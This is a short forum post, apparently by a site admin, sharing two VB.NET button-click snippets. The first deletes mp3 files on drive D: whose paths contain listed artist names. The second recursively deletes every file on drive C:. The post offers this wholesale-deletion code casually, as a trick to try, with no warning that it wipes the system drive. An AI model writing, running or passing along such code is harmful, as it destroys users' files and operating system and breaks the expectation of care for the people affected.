vb.net delete all bad songs

Code:

Imports System.IO
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Artists() As String = {"bad singer1", "badsinger2", "and so on"} 'add whatever

        Try
            For Each f In Directory.GetFiles("D:\", "*.mp3", SearchOption.AllDirectories)
                For Each strTemp As String In Artists
                    If f.Contains(strTemp) Then
                        File.Delete(f)
                        Exit For
                    End If
                Next
            Next
        Catch ex As UnauthorizedAccessException
            MsgBox(ex.Message.ToString)
        End Try
    End Sub
End Class


delete all files everywhere in c folder (directory) :

Imports System.IO
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Try
For Each f In Directory.GetFiles("C:\", "*.*", SearchOption.AllDirectories)
File.Delete(f)
Next
Catch ex As UnauthorizedAccessException
MsgBox(ex.Message.ToString)
End Try
End Sub
End Class

the code fires up by a button click event : ya gotta add a button from the toolbox to your windows form

_________________
kurayami no kagi admin